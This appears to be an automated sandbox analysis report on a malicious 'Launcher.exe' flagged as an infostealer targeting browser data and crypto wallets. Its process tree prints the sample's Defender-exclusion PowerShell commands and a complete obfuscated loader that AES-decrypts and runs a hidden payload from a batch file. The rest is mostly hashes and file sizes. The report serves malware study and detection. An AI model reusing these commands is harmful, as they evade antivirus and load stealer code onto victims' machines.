Analysis
-
max time kernel
62s -
max time network
75s -
platform
windows10-2004_x64 -
resource
win10v2004-20230703-en -
resource tags
-
submitted
27/08/2023, 22:36
General
-
Target
Launcher.exe
-
Size
148.9MB
-
MD5
0413f927661212f44a19475d7110e97d
-
SHA1
3f4431b1e32995777a7d234a2e7604674d7763e0
-
SHA256
8df009feace560a1ad2466d60cb90b5be793021b2fbb5af90a13645a137e317e
-
SHA512
15e94706d36e419adefe51be8566d41e945d30e8fc89dbcc19d67da9efe823665b54064a8a246d8a61c5bf8760d196f00f46fe11f04c5e9992f9e8ac5cb89035
-
SSDEEP
786432:A5N1mgE/WgDe6UmdCvF4N3RtI9n1gqBf8IC3ZNXDPWsUwZnb5xFTtLwSTRpf4P1d:qSgU/UmamUyqt8yctjdqSjR2
Malware Config
Signatures
-
Executes dropped EXE 2 IoCs
-
Loads dropped DLL 3 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Suspicious behavior: EnumeratesProcesses 8 IoCs
-
Suspicious use of AdjustPrivilegeToken 4 IoCs
-
Suspicious use of WriteProcessMemory 11 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Launcher.exe"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming\TempFolder2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\TempFolder\White.bat""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\TempFolder\White.bat.exe"White.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $_CASH_BEfTf = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\TempFolder\White.bat').Split([Environment]::NewLine);foreach ($_CASH_cSMGB in $_CASH_BEfTf) { if ($_CASH_cSMGB.StartsWith(':: @')) { $_CASH_tiCLs = $_CASH_cSMGB.Substring(4); break; }; };$_CASH_tiCLs = [System.Text.RegularExpressions.Regex]::Replace($_CASH_tiCLs, '_CASH_', '');$_CASH_YOQbw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_CASH_tiCLs);$_CASH_IiqDP = New-Object System.Security.Cryptography.AesManaged;$_CASH_IiqDP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$_CASH_IiqDP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$_CASH_IiqDP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZGLYQpXzqZGio1AM3RKuGPD761wgVPaj/0ACagm3x4Q=');$_CASH_IiqDP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8fyzMDu1kB6HN1zdS5E5ew==');$_CASH_dmOzy = $_CASH_IiqDP.CreateDecryptor();$_CASH_YOQbw = $_CASH_dmOzy.TransformFinalBlock($_CASH_YOQbw, 0, $_CASH_YOQbw.Length);$_CASH_dmOzy.Dispose();$_CASH_IiqDP.Dispose();$_CASH_LIOIB = New-Object System.IO.MemoryStream(, $_CASH_YOQbw);$_CASH_Fjwxu = New-Object System.IO.MemoryStream;$_CASH_XnHig = New-Object System.IO.Compression.GZipStream($_CASH_LIOIB, [IO.Compression.CompressionMode]::Decompress);$_CASH_XnHig.CopyTo($_CASH_Fjwxu);$_CASH_XnHig.Dispose();$_CASH_LIOIB.Dispose();$_CASH_Fjwxu.Dispose();$_CASH_YOQbw = $_CASH_Fjwxu.ToArray();$_CASH_gCWCr = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($_CASH_YOQbw);$_CASH_mvcbk = $_CASH_gCWCr.EntryPoint;$_CASH_mvcbk.Invoke($null, (, [string[]] ('')))3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\TempFolder\Update.exe"C:\Users\Admin\AppData\Roaming\TempFolder\Update.exe"2⤵
- Executes dropped EXE
-
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\5dea2948f6cf4de38bd10ef97654c5df /t 2704 /p 25401⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
-
Filesize
4KB
MD5091e1bd1a14f0f1df7e6a8f7751cb347
SHA14e2fd1763b9f4d7f044667cefa7554bd04f7600e
SHA256e0c657192c7add2a1d283f601ec5bc2ad15498feeb186ac8401c74068844128e
SHA512e2b49b3dca589ffae922de96be76030c8ba974f1674fd826dd8142b1247a5e82878b3e76d1456454abc9824256f1a6b1faf63506047b4963a9135d2bf0f7a939
-
Filesize
4.7MB
MD52191e768cc2e19009dad20dc999135a3
SHA1f49a46ba0e954e657aaed1c9019a53d194272b6a
SHA2567353f25dc5cf84d09894e3e0461cef0e56799adbc617fce37620ca67240b547d
SHA5125adcb00162f284c16ec78016d301fc11559dd0a781ffbeff822db22efbed168b11d7e5586ea82388e9503b0c7d3740cf2a08e243877f5319202491c8a641c970
-
Filesize
1.2MB
MD5c7bcc68b81e965fe74ef58d503c58deb
SHA199990f204f7318eeb8de6f9664ebcd0d42ea81b7
SHA25606cb4da78f5cfddece86329241a2af9d6390ce1082b02f7db2e3bf320215a23e
SHA512cab2bc27eca0ee097324a2471c8228f1723cfef5df9971359eec7710082c122b26a7aa1d1e6faab75389438a358bbff2973ad67e8dd9046455b4c4ac880d858c
-
Filesize
1.9MB
MD51b01746fe61beb761a643050823190b0
SHA1927b12e4a733bcc51545c6a005838a24b8dc4dda
SHA256f8c4d6eb1cfa9c5b6fb322a0c818a4f5d5ee44043c259e0262c0460513953fb8
SHA51283eeb187e554588a5a4efbce0fcb7e9c30e718ec9f6d797a7add28036e3d4506cd3e78386522467d7ac967a60ac509a23edd79a1b9032a7e230d980b9f36080a
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
2.4MB
MD506c8202d2099957c9306f015df5d0139
SHA14d59241817e25e858680f7658e5f5bb7fb74d8a3
SHA25680bf899a2d9d24288525e8d41597efbb4612facc06f69910b9cfc1b285d44544
SHA5129fb30ac11279cb2b5e4d50b0b998b2d04498758c8dc78ff8c12b0e907d24037aa0cc8a7ecf6416e858a9110441e4ce8661f2cda29508bf089871e9a07d8430be
-
Filesize
2.4MB
MD506c8202d2099957c9306f015df5d0139
SHA14d59241817e25e858680f7658e5f5bb7fb74d8a3
SHA25680bf899a2d9d24288525e8d41597efbb4612facc06f69910b9cfc1b285d44544
SHA5129fb30ac11279cb2b5e4d50b0b998b2d04498758c8dc78ff8c12b0e907d24037aa0cc8a7ecf6416e858a9110441e4ce8661f2cda29508bf089871e9a07d8430be
-
Filesize
449KB
MD5b06355cf59db16e77fa973f744f15cd0
SHA162ab10cdc8694d62c2347214ae32ecab473559db
SHA25650d8918d86e0d6643ce087d1820060f9839be808692d6eb0085ab0806e9a7beb
SHA512e1fdfa1f4da423c9f4e5b700dc4fa1815cefe8701629130e2bc19b75b30c27bedb1832edc9f64e809538a59cfa4256f5f5dfb220eb81e4a1cc371c0872939fc3
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
Filesize
96KB
-
Filesize
284KB
-
Filesize
20KB
-
Filesize
52KB
-
Filesize
72KB
-
Filesize
10.1MB
-
Filesize
256KB
-
Filesize
88KB
-
Filesize
976KB
-
Filesize
100KB
-
Filesize
32KB
-
Filesize
15.5MB
-
Filesize
76KB
-
Filesize
508KB
-
Filesize
9.2MB
-
Filesize
2.2MB
-
Filesize
8.3MB
-
Filesize
9.2MB
-
Filesize
1.1MB
-
Filesize
28KB
-
Filesize
1.4MB
-
Filesize
248KB
-
Filesize
272KB
-
Filesize
240KB
-
Filesize
2.5MB
-
Filesize
624KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
136KB
-
Filesize
1.0MB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
100KB
-
Filesize
472KB
-
Filesize
1.8MB
-
Filesize
5.2MB
-
Filesize
120KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
320KB
-
Filesize
72KB
-
Filesize
100KB
-
Filesize
10.8MB
-
Filesize
240KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
64KB